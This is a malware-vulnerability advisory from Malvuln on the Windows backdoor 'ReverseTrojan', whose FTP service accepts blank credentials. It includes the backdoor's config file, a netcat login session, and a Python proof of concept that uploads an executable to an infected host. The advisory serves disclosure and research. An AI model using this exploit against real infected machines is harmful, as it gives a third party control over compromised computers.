Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.ReverseTrojan.200 Vulnerability: Authentication Bypass Empty Password Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set. Type: PE32 MD5: 3fbec7c0623f5f80e4d9c096a50b0d59 Vuln ID: MVID-2021-0256 Disclosure: 06/23/2021 settings.ini [wsc] vernfo=2.00b2 scurl=http://satanzcrew.no.sapo.pt newsurl=http://satanzcrew.no.sapo.pt/news/news.txt [socket] port=12000 [ftp] port=21 user= pwd= [show] intro=OFF Exploit/PoC: nc64.exe 192.168.18.127 21 220 REVERSE TROJAN by satan_addict FTP Server ready. USER 331 Password required for . PASS 230 User logged in. SYST 215 UNIX Type: L8 Internet Component Suite PASV 227 Entering Passive Mode (192,168,18,127,196,208). CDUP 250 CWD command successful. "C:/" is current directory. STOR DOOM.exe 150 Opening data connection for DOOM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.127" #192*256 + 208 PORT=50384 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password") print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).